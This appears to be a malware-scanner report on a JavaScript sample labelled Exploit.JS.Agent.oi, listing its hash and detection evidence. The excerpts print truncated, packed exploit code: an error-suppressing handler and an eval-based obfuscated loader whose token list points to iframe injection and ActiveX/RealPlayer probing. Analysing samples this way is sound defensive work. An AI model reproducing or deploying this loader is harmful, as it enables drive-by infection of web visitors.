Benign Download

Exploit.JS.Agent.oi

eval() executing transformed codeBuilds characters with String.fromCharCode

SHA-256e001efe381efb42a4680ed19533744b76335a0d711cbb56f76375e048e4c9fda

Evidence

Builds characters with String.fromCharCode lines 1–3

1
2window.onerror=function(){return true;}
3eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('2 1r=20;2 17=1u["1y"]("%3N%3O%3P%3Q%3M%3L%3H%3G%3I%3J%3K%3R%3S%40%41%42%43%3Z%3Y%3U%3T%3V%3W%3X%3F%3E%3n%3o%3p%3q%1f%3m%3l%3h%3g%3i%3j%3k%3r%3s%3A%3B%3C%3D%3z%3y%3u%3t%3v%3w%3x%44%45%4D%4E%4F%4G%4C%4B%3f%4w%4y%4z%4A%4H%4I%4Q%4R%4S%4T%4P%4O%4K%4J% …

Contains a catch error handler line 3

3:3116… http|x45|x52|x6e|nnvcvdfd|write|iframe|cn|www|src|finally|object|Error|try|catch|vcvooof|new|x35|length|x69|ActiveXObject|x41|x64|x2D|x53|RealVersion|x79|x38|x39|x33|htm|script|language …